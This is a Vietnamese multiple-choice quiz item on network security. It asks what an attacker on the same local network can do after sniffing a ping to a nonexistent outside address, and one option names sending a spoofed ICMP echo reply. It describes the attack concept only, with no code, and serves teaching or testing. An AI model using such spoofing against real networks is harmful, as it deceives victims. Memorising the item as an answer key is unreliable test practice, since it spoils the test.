Câu 53. Khi sniff thấy gói tin ping đến địa chỉ 1.2.3.4 (không tồn tại, ngoài mạng local), kẻ tấn công trong cùng mạng có thể làm gì?

  • A. Không làm được gì
  • B. Gửi spoofed ICMP echo reply giả vờ là 1.2.3.4, victim sẽ nhận được reply giả
  • C. Chặn gói tin ping
  • D. Redirect gói tin đến server thật